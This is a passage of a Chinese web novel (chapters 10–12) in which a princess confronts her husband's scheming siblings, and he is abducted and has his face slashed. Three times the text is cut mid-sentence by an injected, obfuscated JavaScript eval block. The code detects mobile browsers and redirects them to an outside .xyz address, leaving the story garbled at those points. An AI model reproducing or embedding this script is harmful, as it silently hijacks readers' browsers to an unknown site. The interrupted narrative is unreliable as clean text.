她虽未担任过将作监,却也不是有眼无珠之人,看不出这院落比方才路过的那两处要小上一倍不止。而且花木稀疏,歪歪斜斜,似乎无人打理,因此长得也随意了些。 “哼……”元明瑾冷笑,“这样的地方也能住人?”瑞王府的马厩装饰得都比这里华美。 然而此话一脱口,她便自知失言,忙去看苏小糖的脸色,果见他眼眶通红、泫然欲泣,却仍然强忍着不让泪珠落下来。 “你这是做什么?” 元明瑾赶紧一手环住他的劲腰,半拥着他,另一手掏出绢帕为他拭泪,改口道:“怎么不能住人,当然能住人,本王说可以就可以,本王今夜便要住下。” “你莫唬我……”一有人哄,苏小糖就再也忍不住了,顺势埋进她肩颈,双臂箍着她小声啜泣,越哭越委屈。 肩上传来一阵凉意,元明瑾叹了口气,一个眼神扔过去,心腹便率众先行退下,只留下她二人在院中。 “没有唬你。”元明瑾抚摩犬首似的,一下接一下地顺着他的后脑勺,冰凉柔软的墨发如水,一股股穿过她指缝,“眼下虽是暮春,你院中却怎么连朵花儿都见不到?怪寒碜的。” “我爹一近花草就犯鼻鼽。”苏小糖闷闷道。 他爹过世,母亲又不常来,府里个个都是人精,又岂会不知主父待他究竟是怎么个意思。 花木疏疏倒还是小事,不克扣月例他都该感恩戴德。 他不欲让她瞧见自己涕泗横流的狼狈样儿,便就着这个姿势,从袖中掏出帕子揩净了脸,才松开她。 就是眼皮稍微有些浮肿,无论如何藏不住,只好用手捂着,不叫她看。 “眼睛肿了也好看。”元明瑾又轻声细语哄他,“这么举着不累吗?乖,放下来,听话。” 听了甜言蜜语,苏小糖仍有些怯怯,到底还是依言放下了手臂—— 那双肿得跟桃儿似的眼睛一露出来,元明瑾唇角猛地一颤,着实忍不住,噗嗤一下笑出声来,惹得苏小糖又羞又气,撤开手就大步往房中走,把她独自撂在原地。 “笑你两声怎么就恼了?” 元明瑾笑意未退,急追上去,“本王当年十五岁便率兵御九曜之侮,却被好些老臣说成什么‘纸上谈兵的黄毛丫头’‘乳臭未干的黄口小儿’,极尽奚落嘲弄,话里话外全是不信本王能大胜而归。然而本王却将九曜打得节节败退,打得那些老臣无言以对,纷纷告老还乡,叫本王好好地出了一口恶气——若是像你这样置气,岂不是连仗也不必打,只管回家抱着母皇哭?” “殿下何等英雌人物,怎能自降身份,拿自己同我比较?”苏小糖很是幽怨,“小糖不过一介弱质男流,当然比不上殿下。” 元明瑾哈哈一笑,被他哄得心花怒放,余光忽地瞥见充作影壁的屏风上绣了两只凫水觅食的野鸭子,不由奇道:“你这屋中的摆件,当真样样有趣,这野鸭——” “殿下此言差矣。” 苏小糖一听她说屏风上的那对鸳鸯是野鸭,急得大步走出内间就要和她争辩,岂料却听一道熟悉嗓音先他一步从门口处传来,甜润如乳莺出谷,正是苏宜宜无疑。 10. 宜室 元明瑾循声望去,就见一男子长身玉立,袖手站在背光处,阴影打在脸上,却并未令其显得面目黧黑,反倒衬得那张脸莹莹生光,肌肤赛雪。 方才在厅中,苏宜宜一声不吭,故而元明瑾对其一点印象也无,此刻突然被打断,不由蹙眉:“你是何人?” 那男子闻言,又向前走动两步,站到光照处,盈盈下拜:“奴是王夫二弟,苏府二公子,苏宜宜。” 苏宜宜? 那个本该嫁给她的、真正的苏家嫡长男? 元明瑾忽然想起方才路过的那座满栽花树的庭院。 他此时出现,意欲何为? “平身。” “谢殿下。” 苏宜宜缓缓抬起脸,额头饱满、眉毛细长、双瞳剪水、琼鼻微翘、唇如点绛,身姿挺拔如竹,却十分忸怩地站着,恭谨地低下眼,露出一段天鹅般雪白修长的颈子,任由她饱含深意的目光不加掩饰地落在自己身上。 是她……那日的女子果真是瑞王殿下! 苏宜宜面上一派淡然,心中却早已激动得几欲晕厥。 且不说她容貌出众,既是天之骄子,自有一股与生俱来的、目空一切的狂妄,仿佛世间万物都将匍匐在她脚下……他也、他也好想马上跪在她脚边,乞求她的垂怜,愿明月独照他一人之身。 前来拜见瑞王殿下之前,他特意换了一身衣服,冰蓝丝绸上暗绣着雅致的竹纹,行走间摆动款款,布料上光华流转,那竹纹便也跟着一明一灭,衬得他如玉容颜愈发脱俗,好似落入凡尘的谪仙。 他自信姿容远胜苏小糖。 然而元明瑾却久未发话,只是定定打量着他,急得几步之遥外的苏小糖都走上前来,一把捉住了她垂在身侧的手,十指插入她指缝,扣紧了,亲密无间。 苏宜宜目光一厉,死死瞪着那两只相携的手。 好生碍眼。 真想把苏小糖这只手剁掉。 与此同时,苏小糖也心焦万分,见她不动声色,不由忐忑地唤了声“妻主”。 瑞王府中小侍不少,可若苏宜宜要入那西院,他也绝不肯松口。 是谁都可以,只要她欢喜——但唯独不能是苏宜宜。 从小到大,苏宜宜抢走他那么多东西——宫中赐下的糕点、母亲安排的院落、父亲留给他的金钗……他都一一忍了。 唯独妻主,绝对不能让给他! 然而,他的手越握越紧,元明瑾却像浑然不觉似的,顺着苏宜宜方才的话问下去,面色如常:“既非野鸭,那是什么?” 苏宜宜掩唇一笑:“一对鸳鸯。” “……这鸳鸯出自何人之手?” 她果真接着他的话往下问,正合他意。苏宜宜心中大喜,稳住声线,柔声道:“大哥的父亲,风郎君。只是他不知何意,竟将鸳鸯绣成了野鸭,滥费了这些丝线,母亲顾念旧人,故也未将这扇粗拙屏风撤去。好在大哥未承其父,手更巧些,不仅擅绣工,更擅庖厨之事,真叫宜宜心生艳羡。” 苏小糖眼皮一跳,直觉不妙,正欲有所动作,就听苏宜宜接着道:“只可惜膳房中油烟实在太大,每次宜宜欲效仿大哥,都被熏得连眼睛也睁不开,次次都是尚未学到些皮毛,就不得已退出,还惹了一身脏,宜宜真是太无用了……” 他何时向自己学过调鼎烹鲜? 莫说学了,苏宜宜这辈子恐怕都没踏进过膳房一步。 苏小糖越听眉头皱得越深,一转头,见自家妻主虽神色自若,眉心却也隐有折痕,遂抿唇一笑,心道自己和她是越来越像了。 这大抵就是妻夫相? 他这厢正想入非非,丝毫不曾深思苏宜宜的话;那厢元明瑾虽常年在外领兵作战,在军中直来直往惯了,丝毫不通内宅之事,奈何天生慧黠过人,轻易便明白了苏宜宜这番弯弯绕绕、明褒暗贬的话,不由暗叹苏小糖原先在这府中过的都是什么水深火热的日子。 倘若她的确身有洁癖,又是那等听信一面之词的蠢材,恐怕苏宜宜这点鬼蜮伎俩当真就奏效了。 她突兀道:“如此说来,你父亲是继室?他没有教过你,何为‘死者为大’么?” “什、什么……”苏宜宜想不到她竟直言不讳,措手不及,顿时白了脸。 ——殿下为何会以为爹爹是继室?又为何突然谈及“死者为大”? 她这当头两棒来得出乎意料,敲得苏宜宜阵脚大乱,拼命回想自己有何失言之处。奈何他从未进过膳房,方才那番话不过是凭空想象,自然也就无从盘起。 苏小糖亦没听懂她这是何意,微微张着嘴,睁大眼睛望向她。 “你二人不是一母同胞的兄弟么?为何要这样绵里藏针?” 元明瑾一瞧苏小糖那副痴傻样儿便知他没听懂,只得继续沉着脸,一字一板地掰碎了讲给他听:“姐妹兄弟之间本该守望相助,然你不但贬损王夫逝去的父亲,且还夸赞王夫既擅绣工、又擅庖厨——实则王夫不能说是不擅绣工,只能说是一窍不通;而你既鄙薄膳房肮脏,为何还三番五次入内?当真是诚心想学,不是含沙射影?” “苏二公子,你究竟意欲何为?” “我……”苏宜宜想不到她竟一针见血至此,不仅将他心中阴私拆分得清清楚楚,且一点面子都不给他留,一时唇颤齿摇,无言以对。羞愧交加之下,跺跺脚,也不顾什么淑男品格,连告退礼都忘了行,就啜泣着转身跑走了。 “啧,脸皮真薄,说两句就哭了。”元明瑾望着他的背影,深感无趣,撇撇嘴,“两军对峙的时候可是什么不堪入耳的污糟话都往外说,这头说我要把你爹抢来做小,让你跪在面前奉茶喊娘,那头说你后院的百八十个夫郎我就全笑纳了,什么能激怒对方就说什——唔!” 话音未落,她瞳孔一缩。 嘴唇被苏小糖含住,他刚毫无章法地轻轻咬了咬,就被她反应过来,一手扣住他后脑勺,强势地按向自己,加深了这个吻,舌尖勾缠着他的共舞,将他口中甘甜的津液尽数吮吸。 再分开时,两人唇瓣皆吻得湿红,一片润泽亮色。 “多谢妻主。”苏小糖与她额头相抵,低低地喘着气,长睫颤颤,视线紧盯着她不放,一刻也舍不得离开,“小糖无以为报,只好……以身相许。” 就连她身上的竹香,他也想一丝不漏,全吸进五脏六腑。 扑哧一声,元明瑾被逗笑了:“不行,你已经是我的了,你得拿其它东西报答我。” “那……”苏小糖面露为难,“我做好吃的给你——” “嘘。”元明瑾迅速以指封唇——她一想到他的臭豆腐臭鳜鱼就双肩颤抖,不寒而栗,“你这到底是来报恩的还是来报仇的?不行不行,换一个。” 想她元明瑾,帝之次子,十五岁独率大军抗击九曜,十七岁单刀赴陆合鸿门宴,二十岁连吞百越五城,势如破竹,直逼南海,无往不胜,迫得对方不得不主动议和,眼下更是东宫之位炙手可热的人选,谁曾想竟会败在自家王夫的臭食上……真是一物降一物。 不对——对臭食望而生畏,应该也是人之常情吧?! 这当然怨不得她。 “我想不到了,妻主想要什么?只要小糖给得起,定然双手奉上……” 他越说声音越小,目光不自觉为她被自己吻得有些充血的唇瓣所吸引,倾身过去,又想亲她,却被元明瑾一巴掌拍在翘臀上,拍出极响亮的一声,肉浪轻颤,“坐好,别发骚。” 苏小糖只好面红耳赤地坐直了身子,双手也规规矩矩放在膝上,水汪汪的双眼却仍一瞬不眨地盯着她看。 “以后想到再说,先传膳吧。”元明瑾身强体壮、肠胃康健,平日吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371728|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得多、消耗得也多,饿得快极,“不知苏府中的厨娘手艺如何,瞧你生得这样……迥拔,应当是不错。” 她搜肠刮肚,搜出了一个还算恰当的形容词,听得苏小糖忍俊不禁,忙去传了膳。 两人用过午膳,本欲小憩片刻,然而苏小糖一觉醒来,身侧的元明瑾竟还睡得沉沉。 他望着她毫无防备的睡颜,忍不住俯下身,在她面颊上留下羽毛般的一个吻。 问过时辰,离晚膳尚早,用些点心垫垫肚子倒是合宜。 忆起府中有个极擅牛乳糕的厨郎,做出来的糕点绵软可口、奶香浓郁,以往他好不容易才能分到那么一块,极珍惜地小口小口吃完,还会舔舔掌心的渣子。 今非昔比,如今他已贵为王夫,应是支得动那厨郎的。 虽然清楚妻主什么山珍海味没吃过,但苏小糖还是想让她尝尝自己念念不忘、视若珍宝的牛乳糕。 他遂轻手轻脚地下床穿衣,前往膳房,想看看那厨郎今日是否当值。 苏小糖的院落离膳房极远,几乎呈对角线坐落在苏府两头,途中需得穿过一片湖。他虽已嫁作人夫,可也才这么几天,总不见得把府中的步道都给忘个精光。 然而当他循着记忆行至湖边,却见一大帮仆从正抱着一盆盆花草来来往往,似乎是在布摆园景。 初夏已近,好些花木却不是在夏季畅茂的,故需更换应时花卉。 远远望去,苏小糖瞧见一人正站于人群中心指使调度,鹤立鸡群,有些眼熟。 待看清后,他又不由自主打了个寒噤—— 那不是旁人,正是主父身边的红蓼,年纪虽轻,却是个厉害角色,极会看主父眼色,是条忠心好用的狗,苏小糖从他手里就没讨过好。 虽然现在他已贵为王夫,可就像自小被拴在铁柱上、拼尽吃奶的力都无法挣脱的象,待长大后,驯象人换了木柱拴它,它却再也不会主动挣扎了——因为在它心底,那拴着它的柱就是不可战胜的。 红蓼之于他也正是如此。 苏小糖本能地抗拒与他打照面,便弃了这条路,转而从湖的另一侧绕过去。 这路远些,但益处也正在此,人少清净,只是免不了需途径苏宜宜与苏玉堂的院落后门。上次苏小糖从万钱楼偷溜回来,走的也是这条路,这才听见了苏傲霜、苏宜宜与辛雅宁的那些话。 回去后他就因为自作聪明、自作自受而染上了风寒,被小绿迷晕了塞进花轿里替嫁。 对了,小绿如何了?李公公呢?这次省亲回府已有半天,怎么不见他二人? ……算了,背信弃义的东西,想他作甚。 满载繁花的楝树枝桠沉沉,探出了墙头,周遭安静得有些不同寻常。穿过其下,苏小糖甩甩头,将满腔杂念同头上的花瓣一齐甩去,没走几步路,便到了满栽竹林的院墙外。 今日听妻主的语气,似是极欣赏这一院翠竹? 是了,成婚那日,她身上便有一股竹香味,清新好闻。妻主向来不喜熏香,应是染上了卧房外那一片竹的清芬。 回府后自己就命仆从用竹香熏衣吧,他也想日日夜夜闻着妻主身上的气味,就好像……她时时刻刻都在自己身旁一样。 苏小糖如此想着,不觉羞红了脸。 他想快些回去见到她,脚下步伐不由紧了些。 路过那扇爬满薄青苔痕的木门时,门扉忽地一开,从里头钻出一只手来,将苏小糖猛不丁往里一扯。他尚未及惊呼,便被人捂住口鼻,软了身子,拖进去,合上门,湖畔转瞬便复归静谧。 春啼溪晓,水声潺潺,几只黄莺唱着歌,掠过映出天光云影的湖面,小翅膀一收,正欲栖在竹枝头,那竹枝却猛地一颤,顿时惊飞了黄莺,别枝而去。 红蓼收回视线,继续指挥着下人们干活,恍若无事发生。 11. 失踪 早在苏小糖吻她的那一刻,元明瑾就醒了。 她睡得沉,却并非毫无防备。归京后还没过够几天安生日子,她便频频从梦中惊醒,恍惚间以为自己仍在战场上,枕戈待旦,尘土和血腥味在嘴里弥漫开来;身上的铁甲又冷又沉,穿着就寝极为不适,却不能解下,因为迎敌的号角随时会吹响。 角声满天秋色里,塞上燕脂凝夜紫。 身边横七竖八躺着熟睡中的战友,元明瑾难得咽了咽唾沫,伸出卡满砂砾和血渍的双手,扒开裹得蚕蛹似的马皮。 ——就见她的副将大睁着眼,望着她,双目浑浊,面色铁青,早已死去多时。 “红玉!!” 元明瑾目眦欲裂,悲痛万分。 她直直地从床上坐了起来,整个人如同从水里打捞出来的一般,浑身被冷汗浸透。 然而身侧竟也躺着个裹成蚕蛹般的人。 与梦中何其相似。 元明瑾颤抖着手,拼命刨开衾被,头脑一片空白。 这又会是谁? 是坐在沙盘前沉思的含英、用孺慕的眼神望着自己的靖乔、热情招呼着“将军再来一碗”的荣姮,还是一箭将敌军将领射落马下的始姜、宁愿绕远路也要避开农田的华铮、不眠不休照看伤员的云迢…… 一个个人名从心底飞快掠过,她尽力不去想象衾被下会露出怎样一张目不忍睹的脸,抓住被角奋力一扯—— 就见睡得脸颊粉粉的苏小糖蜷在里头,呼吸清浅,卷翘长睫随之一颤一颤,如振翅欲飞的蝶。 元明瑾猛地愣住。 “……妻主?” 苏小糖睡眼惺忪,被吵醒了也不恼,坐起来抱住她,把她的头按进怀里,一上一下地轻拍她的背,“喔喔,不怕了,噩梦都被吃掉了……” 元明瑾没听过这首童谣,缓缓回神,乍闻此言,忍不住问:“被谁吃掉了?” “我呀。”明日的省亲就像一块大石沉甸甸压在心上,苏小糖好不容易才睡着,此刻眼皮都睁不开,却仍强忍困意回答,“妻主不是总说我贪吃?你的噩梦都归我,旁人可不许抢。” 元明瑾被逗笑了,方才的沉重一扫而空。她在他胸口推了一把,两人一齐倒进柔软的被褥中,“睡吧。” “好……”苏小糖含糊应道。 他正要睡去,就听她突然又说:“在我面前也便罢了,明日去了苏府,切勿说这些你你我我的,该守的礼还得守,莫要落人口舌。” 又是省亲!苏小糖打了个激灵,扯过锦被蒙在脑袋上,“不听不听我不听!” 这下可好,他又该睡不着了。 暮春夜风穿堂而过,凉意阵阵。元明瑾顿时黑了脸,抬手就去揪他,气道:“被子都被你抢去了,我盖什么?成心冻死你妻主是吧!” 话音未落,面前忽地一暗,什么黑压压的东西铺天盖地压了下来,落到身上却又轻又软,还裹挟着既暖且香的气息,瞬间就驱走了周身凉意。 “我哪里舍得……”苏小糖半梦半醒间喃喃,似是自语,手臂却结结实实将她圈进怀里,锦被霎时吞没了二人,她们就这样缩在被下小小一方天地中,“妻主,明日不管发生何事,不要不信我,不要放弃我。” 元明瑾顿了顿,才道:“好。” 也不问他何出此言。 她本想再睡会儿,岂料身侧不过是少了个人,出乎意料地,却怎么也睡不着,便披衣起身,到外间转了一圈,没找见苏小糖,遂随意唤了名小厮上前,问他王夫的去向。 那小厮答道:“奴也不知,王夫只问过小的现下是何时,便独自出门去了。” “独自?”元明瑾皱眉,多年行军打仗的经历令她敏锐地嗅到了不祥的气息,“你是如何答话的?” 若苏氏一家和睦,她当然不必这般如临大敌,偏偏这里对苏小糖而言,的确是龙潭虎穴。 小厮见她神色冷峻,不敢敷衍,赶忙一字不改地交代了——“小的说‘才刚到申时呢!王夫可是饿了?’” 也就是说他是申时初出去的。 “现在几时了?” “回殿下,快酉时了。” 酉时?! 什么府邸要走一个时辰?又不是广厦万间的皇宫。 元明瑾眼神一厉,道:“带本王去膳房。” 苏小糖会去哪里,用脚趾头想都知道。 若是其它地方,他大可支使小厮前去,毕竟他那么抗拒苏府……能劳动他的,恐怕也就只有膳房了。 真是死性不改。 上次一没看住,苏小糖就与缃叶生了龃龉——这次又因何事绊住了脚? 元明瑾已经在思考,把人捉回来后,要如何打他屁股了。 小厮不敢怠慢,忙领着她向膳房而去。 亲王出行,即便仅仅是去个膳房,也有一大帮仆从随行,好不威武。然而既是从瑞王府中带来的人,皆规行矩步、纪律严明,主子踏出一步,她们才会紧跟着迈出一步;若非必要,绝不出声,鸦默雀静,脚下亦是轻如鬼魅,丝毫不见足音。 途径湖畔时,小厮正要率众从东侧穿过,却被元明瑾叫住:“且慢。” “地面又湿又脏,你为何不从湖西绕过去?” 小厮本来还未察觉,闻言低头一瞧,地上果然落着些花瓣草叶,被人踩得碾出了汁,鞋印的纹路清晰可见。他这才记起今日是府内更换应季植株的日子,便向元明瑾解释了一番,又道:“湖西路远,想来王夫应当不会走那边。” 元明瑾却道:“未必。”便吩咐小厮自湖西而过。 苏小糖明知她身有洁癖,又怎会从泥泞中过?除非故意想挨她骂。 众人便浩浩荡荡绕向湖西。 此处果真人迹罕至——绿树成荫、草木葳蕤,只从中开了一条勉强能容二人并行的羊肠小道,落叶满铺脚下,草苴倒伏两侧。 元明瑾走走停停,视线穿过高垂而下的繁枝茂叶投向对岸,若有所思。 不多时,前去探路的心腹压着一小厮回来,向她禀告:“殿下,属下在前方发现此人形迹可疑!” “殿下?” 那小厮抬起头来,目光一触及她胸前那头张牙舞爪的蟒,便不敢再向上看,跪地磕了几个响头才道:“殿下,求您快去救救王夫,他、他——他定是被二公子掳走了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16385287|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元明瑾盯着他,上下打量,目光如炬:“你是王夫院中的人?” 小厮忙道:“正是,奴名叫小绿。” “可本王对你这张脸并无印象。” 她自小便过目不忘,能将手下所有兵卒的脸都一一记下。午时甫一进苏小糖的院子,心中已对他为数不多的仆从有了个大致印象——小绿自称是他的仆从,为何她根本想不起来…… 不,不对。 他跟一个人长得像极。 是谁呢? 还不等她想出个子丑寅卯来,就听小绿急道:“就算借奴八百个胆子也不敢骗您呀!王夫出嫁前,奴还救过他,家主的乳父李公公可为奴作证!眼下事态紧迫——” “你如何知晓,王夫的失踪与苏宜宜有关?”元明瑾忽然出声。 “奴、奴方才也跟着大家伙儿,听从红蓼哥哥的指挥,在湖对岸搬那些花草……”小绿战战兢兢道,“只是歇一歇脚的功夫,奴往湖那头一瞧,却远远望见王夫与人起了争执,那人的脸被掩在柳枝下,看不大清。” “然后?”元明瑾眯起眼。 “然后、然后那人一掌劈在王夫后颈,王夫便晕过去了,那人就将王夫拖进了一扇门中。” 元明瑾道:“这里有两扇门,你可曾看清是哪一扇?” 小绿答:“上头开紫花的那一扇。这两座院子好认得很,里头栽着的花木都各不相同,奴绝不会认错。” 元明瑾听罢,便令心腹去敲苏宜宜那座院子的后门——嘭嘭嘭、嘭嘭嘭……响声震天,几乎是在砸门了,无人应答也不停手,声如擂鼓,擂得人心中无端生躁。 她斜了小绿一眼,道:“你耳力倒是好,连湖对岸的人起了争执,也能听得一清二楚。” 小绿一愣,才道:“奴并未听见王夫与那人说了什么,只是推搡的动作太过明显。” “是吗?”元明瑾一把拎起小绿的后衣领,把人从地上提起来,朝向湖对面,声线冰寒,“告诉本王,你都看见了什么?越详细越好。” 小绿不知她这是何意,不敢造次,极目远眺,忙答:“六座假山石,中间最大那座上头歇着五只鸟儿,还有七棵柳树……” 他蓦地意识到什么,渐渐噤了声,面上筋肉却抽搐不断,眼眶瞪得生疼,心跳咚咚、咚咚、咚咚……一声大过一声。 “呵,好厉害的眼力……”元明瑾轻嗤,“湖面如此宽阔,连本王都看不清的东西,你竟能瞧得一清二楚。” 她把手里的人往后头一甩,道:“看紧了。”而后大步上前,一脚踹开了竹枝秀而繁阴的那扇门。 里头一左一右守着两人,早听几步开外接连不断的敲门声,自是心惊肉跳。眼下更是被元明瑾这一脚踹了个措手不及,慌张去拦,道:“不能进——” “本王想去哪儿就去哪儿,让开!”元明瑾厉声喝道。身后训练有素的扈从立即涌上,三下五除二便将这两人捆得粽子一般,嘴也死死堵上,任她们如何蠕动闷叫也不撒手。 她足下生风,对着门又是一脚,闯入室内,无人;当即便转了个方向,直奔内室,见到里头光景,瞳孔猛地一缩。 12. 丑事 屋内有三人。 当中那人脸朝下,披头散发,衣衫褴褛,匍匐在地,做出一副护住腰腹的姿态,只背脊轻微起伏,奄奄一息;苏宜宜正半蹲着,面露错愕,眉宇间的狠戾尚不及收起,手中金钗钗尖向下,滴滴答答挂着血,已在那人侧脸上划出长长一道血痕;站于右侧的女子慌作一团,手中瓷瓶啪嚓一声掉在地上摔碎了,水液顷刻便撒了一地。 “拿下!” 一声令下,扈从鱼贯而入,制住她二人。元明瑾瞳孔紧缩,急步上前,将外袍脱去,裹在那人身上,翻过来一看,果然是双眼紧闭的苏小糖。 他面色惨白,侧脸被苏宜宜用金钗自颧骨到唇角划开长长一道口子,皮开肉绽、血流如注,此外还有一些擦伤和淤青,拨开衣领一瞧,亦是如此。看得元明瑾一阵心惊,急令人去召府中医师和苏傲霜、辛雅宁二人。 “苏大人是朝廷命官,本王自当敬贤重士,务必请她‘慢慢’走过来。” 她弯腰,稳稳抱起苏小糖,任他的头无力地靠在自己肩上。 盯着他脸上伤口,元明瑾眉心紧锁,声如淬冰,一字一句道:“医师和苏夫人直接绑来,越快越好。” 扈从领命而去。元明瑾冷冷瞥了眼尚未回神的那两人,正要抱着苏小糖暂离,袍角却忽然被拽住。 她眼珠微动,向下一瞧,就见苏宜宜色如死灰,却仍五指蜷曲,拼命地将那块衣角死死攥在掌心,仿佛攥着救命稻草似的,眼泪如断了线的珠子般,一边摇头,一边哭道:“殿、殿下,此事绝非您看到的那样,是、是小糖他……” 都这个节骨眼了,他哭起来仍是楚楚动人,眼尾浮上一抹极艳的绯色,如染斜红。元明瑾却不为所动,只道:“如此一来,还要感谢你提醒本王。” 她虽面无表情,一旁早有善揣上意的心腹上前,一人用帕子拾起那支造型奇特的金钗,一人同样执帕,将碎裂瓷瓶中洒出的水液尽数吸走。 苏玉堂这才回神,嘴唇抖得不成样子,慌道:“这、这是做什么?那瓶子都摔碎了……” 此言一出,元明瑾像才注意到她般,斜了她一眼。然而目光落到她掌心,却蓦地一厉,上前便劈手夺过她掌中的布条—— “早闻苏小姐有夺良家夫男喉间缠纱的癖好,如今竟抢到自己哥哥头上来了,当真是……好一桩丑事啊。” 她似笑非笑,墨眸深如寒潭,唇角分明是上扬着的,吐出的话语却犹如一把利剑,直刺苏玉堂心窝。 苏玉堂感到后脑一阵发凉。 “什么?不——” 她怛然失色,急急伸手,欲抢回那布条,却被侍卫牢牢按住,动弹不得,“殿下!您听臣女解释……” “跟大理寺卿解释去吧。” 匆匆赶来的苏傲霜尚未来得及喘匀气,乍闻此言,膝盖一软,险些跪倒在地—— “殿下不可!玉儿是臣独女,您这是要臣绝后不成?!” 一刻钟前,她见瑞王殿下身边心腹亲自来请,一言一行中不乏尊重,却是皮笑肉不笑:下半张脸唇角虽翘得高高,然而伸手挡住,只瞧上半张脸,狐狸般上扬的眼角却放得平平,眸中深意叫人不由心惊。 苏傲霜到底是三品大员,政治嗅觉敏锐,当即右眼皮便跳了跳,直觉十分不妙。再听那人请她务必慢慢走过去,莫要失了股肱之臣的风采,心底那股不祥的预感愈演愈烈,到底还是按捺不住,步履如飞,几乎小跑而来。 ——紧接着就听见了元明瑾的这句话。 “王夫伤成这样,苏大人可是要本王绝后不成?”元明瑾冷笑一声,原话奉还给她,丢下一屋子姓苏的面面相觑,抱着不省人事的苏小糖去看医师。 错身而过之际,苏傲霜瞧见她怀里鼻青脸肿、惨不忍睹的人,陡然瞪大眼,瞳孔震颤不断。 “娘!” 元明瑾一走,苏玉堂率先反应过来,惶急地叫唤了一声,忙不迭膝行上前,双膝磨得火辣生疼也顾不得许多了。她抱住母亲的小腿,眼泪说来就来:“瑞王殿下她、她当真要把我送进大理寺?娘,女儿只是一时鬼迷心窍,是苏小糖那贱骨头先勾引女儿的,您要救救女儿——啊!” 最后一个字猛地变了调。苏傲霜当胸一脚将她踹倒在地,虽在盛怒之下,本能地却还记得收着力,但仍踹得苏玉堂人仰马翻。 这一脚踹得苏玉堂整个人都呆住了,她好半晌才反应过来,手忙脚乱爬起,眼中满是不敢置信,“……娘,你踹我?” 苏宜宜见状,吓得往后缩了缩,生怕受牵连——母亲素来最疼宠小妹,连她都挨打,等待自己的还不知是何种处罚…… 都怪苏小糖! “哼,若不能叫瑞王殿下满意,就不是只踹一脚的事了!” 苏傲霜喘着粗气,恨铁不成钢地瞪着她——“你何时能够安分守己?看来上次罚你跪祠堂还是太轻!” 譬如芝兰玉树,欲使其生于庭阶耳,她真恨为什么元明瑾不是她的女儿,而是面前这个成事不足败事有余的草包! 伴君如伴虎,元明瑾眼下虽还只是头小老虎,却仍不容小觑。苏傲霜心里门儿清着:既然瑞王殿下先命人把她叫来,而不是二话不说把玉儿扭送大理寺,就证明此事尚存斡旋的余地。 该如何让瑞王殿下满意呢? 苏傲霜无视房内的一双儿男目瞪口呆、如见恶鬼的表情,明明是乍暖还寒的暮春时分,嘴里却呼呼冒着热气。 她环顾四周,见大门后竖着一条扁担似的门闩,便大步流星冲过去,举起来,照着苏玉堂的左腿便是一棍! “啊——!” 惨叫声不绝于耳,元明瑾一边盯着医师给苏小糖上了药,一边伸长耳朵留意那厢的动静,见除了一声痛呼外便再无其它,遂不满地皱起眉。 “呃!”苏小糖昏迷中痛呼一声,吓得那医师倒药粉的手抖了一抖,忙小心翼翼去瞧元明瑾,见她并未动怒,才暗自松了口气。 她行医几十年,诊治过的达官贵人虽然不少,皇族倒还是头一次。 且还是这位声名鹊起的瑞王殿下…… “殿下……”医师谨小慎微地请示,“王夫脸上的伤口既长且深,恐需缝上几针。” 这一声将元明瑾的注意力拉了回来。她眸色转深,沉沉地盯着医师:“可会留疤?” “这……”被她一睨,医师顿觉五岳压顶,情不自禁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394841|183928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就想抬袖子擦汗,“听闻太医院中有一味玉肌丸,服用过后可令肌肤光洁一新,瘢痕也尽可消退。” “行。”元明瑾点点头,表示她记下了,见医师一副欲言又止的表情,“还有何事?” “草民早年间伤了手,恐持针不稳,殿下可否请个绣郎来替王夫缝针?草民会从旁指点。殿下若不放心,也可在旁观看。” “准。” 不多时,心腹便带了个绣郎进来。那绣郎一见苏小糖,便大惊失色道:“二公子这是怎么了?!” 在场其余三人皆眉心一跳。 “叫王夫。”她不发话,剩下那两个也不敢吱声,元明瑾揉了揉眉心,“他嫁人了。” “这……他何时嫁人了?”那绣郎显然一头雾水,还要接着问下去,“这孩子分明连嫁衣也不会绣……” “这是瑞王殿下,还不快行礼?”见他仍然状况外,且次次都恰好踩在雷点上,心腹终于忍不住喝了一声。 就没见过这么蠢的人! “殿、殿下?” 绣郎如梦初醒,一掀前裾就要跪下,却被元明瑾阻止:“都什么时候了,救王夫要紧,不必行这些虚礼。” “是。” 话虽如此,这绣郎看着仍是晕晕乎乎,偏生拿起银针时却像换了个人似的,且不说下针何等精准,光看针尖刺穿皮肉、针线拖出黏腻血丝,明明是极血腥的过程,动作却似穿花纳锦,针脚齐整,观赏性十足,瞧得那医师啧啧称奇。 只是苦了苏小糖,即使昏迷中仍疼得忍不住呜咽出声,眉心折痕深深,一阵接一阵地发抖。 “不用喂些麻沸散再缝吗?”元明瑾不忍再看,偏过头去。 